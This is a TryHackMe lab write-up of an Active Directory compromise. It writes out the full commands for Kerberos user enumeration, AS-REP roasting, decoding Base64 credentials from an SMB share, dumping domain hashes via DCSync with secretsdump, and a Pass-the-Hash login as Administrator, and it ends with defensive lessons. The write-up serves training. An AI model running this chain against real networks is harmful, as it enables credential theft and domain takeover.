| Platform | TryHackMe |
|---|---|
| Room | Attacktive Directory |
| Target IP | 10.67.147.1 |
| Attacker IP | 10.67.68.175 |
| Domain | spookysec.local |
| Domain Controller | AttacktiveDirectory.spookysec.local |
Enumerate the Active Directory environment, identify weaknesses in Kerberos authentication and SMB configuration, obtain account credentials, retrieve domain password hashes, and access the user flags.
GetNPUsers.pysecretsdump.pyI began by running an Nmap scan against the target to identify open ports, running services, and potential attack vectors.
sudo nmap -sC -sV -oN adnmap.txt 10.67.147.1
| Port | Service | Significance |
|---|---|---|
| 53 | DNS | Domain name resolution |
| 80 | HTTP / IIS 10.0 | Web service |
| 88 | Kerberos | Active Directory authentication |
| 135 | MSRPC | Windows RPC |
| 139 | NetBIOS-SSN | SMB-related enumeration |
| 389 | LDAP | Active Directory directory services |
| 445 | SMB | File shares and domain enumeration |
| 464 | Kerberos password change | Kerberos password management |
| 636 | LDAPS | Secure LDAP |
| 3268 | Global Catalog LDAP | Forest-wide directory queries |
| 3389 | RDP | Remote Windows access |
The LDAP and Kerberos services indicated that the target was an Active Directory domain controller.
The scan identified the domain as spookysec.local, and the domain controller’s fully qualified domain name as AttacktiveDirectory.spookysec.local.
The first enumeration question asked which utility could enumerate ports 139 and 445. The answer was enum4linux.
I used SMB enumeration to gather information about the domain and then proceeded to enumerate valid usernames through Kerberos.
Kerberos was listening on TCP port 88, so I used Kerbrute to identify valid domain usernames.
./kerbrute userenum --dc 10.67.147.1 -d spookysec.local userlist.txt
The results identified several valid accounts, including:
The two notable accounts for the room were svc-admin and backup.
I used Impacket’s GetNPUsers utility to check for accounts that did not require Kerberos pre-authentication.
impacket-GetNPUsers spookysec.local/ \
-usersfile userlist.txt \
-dc-ip 10.67.147.1 \
-format hashcat \
-outputfile hashes.txt
The tool returned a Kerberos AS-REP hash for svc-admin. The hash began with:
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL
This identified the hash as Kerberos 5 AS-REP using encryption type 23 (RC4-HMAC). The relevant Hashcat mode was 18200.
I then used a password-cracking tool such as John the Ripper with the supplied wordlist to attempt to recover the account’s plaintext password.
After obtaining credentials, I enumerated the domain controller’s SMB shares using smbclient.
smbclient -L //10.67.147.1 -U 'spookysec.local/svc-admin'
The -L option lists the remote SMB shares. The server listed six remote shares.
I located a share containing a text file named backup_credentials.txt. The file contained the following Base64-encoded string:
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
I decoded it using:
echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d
The decoded credentials were:
backup@spookysec.local:backup2517860
The backup account had privileges that allowed Active Directory replication requests. I used Impacket’s secretsdump.py to retrieve domain credential material through the DRSUAPI method.
secretsdump.py -just-dc \
spookysec.local/backup:'backup2517860'@10.67.147.1
The successful output included:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
The Administrator entry was:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
The Administrator NTLM hash was 0e0363213e37b94221497260b0bcb4fc.
Pass-the-Hash (PtH) allows authentication using an NTLM hash instead of the corresponding plaintext password when the target authentication service supports it. Evil-WinRM uses the -H option to supply an NTLM hash.
I used:
evil-winrm -i 10.67.147.1 \
-u Administrator \
-H '0e0363213e37b94221497260b0bcb4fc'
After establishing a remote PowerShell session, I could inspect the Administrator desktop:
dir C:\Users\Administrator\Desktop
The flag file could then be read from the desktop.
The room required flags from three user accounts:
| Account | Access method |
|---|---|
| svc-admin | RDP using the recovered account password |
| backup | RDP using the credentials recovered from the SMB file |
| Administrator | Evil-WinRM using Pass-the-Hash |
The flags were located on each account’s desktop.
svc-admin.backup_credentials.txt.secretsdump.py with the DRSUAPI method.Accounts without Kerberos pre-authentication can expose AS-REP material that attackers may crack offline. Accounts should require pre-authentication unless a documented exception is necessary.
Sensitive files should not be stored in broadly readable shares. Base64 does not protect passwords; secrets should be stored using appropriate access controls and secret-management mechanisms.
Replication rights such as those used by DCSync should be tightly restricted and monitored. A service or backup account with excessive replication permissions can become a path to domain compromise.
A single exposed service-account credential can lead to additional access when combined with weak access controls. Domain administrators should enforce least privilege, monitor unusual directory replication requests, and protect privileged authentication paths.
This room demonstrated how multiple weaknesses can combine into a complete Active Directory compromise. Kerberos enumeration exposed an account vulnerable to AS-REP roasting, an SMB share disclosed backup credentials, and excessive directory replication permissions enabled retrieval of domain password hashes. Pass-the-Hash then provided a way to authenticate as Administrator without recovering the plaintext password.
The exercise reinforced the importance of secure Kerberos configuration, protected credential storage, least-privilege directory permissions, and monitoring for suspicious replication activity.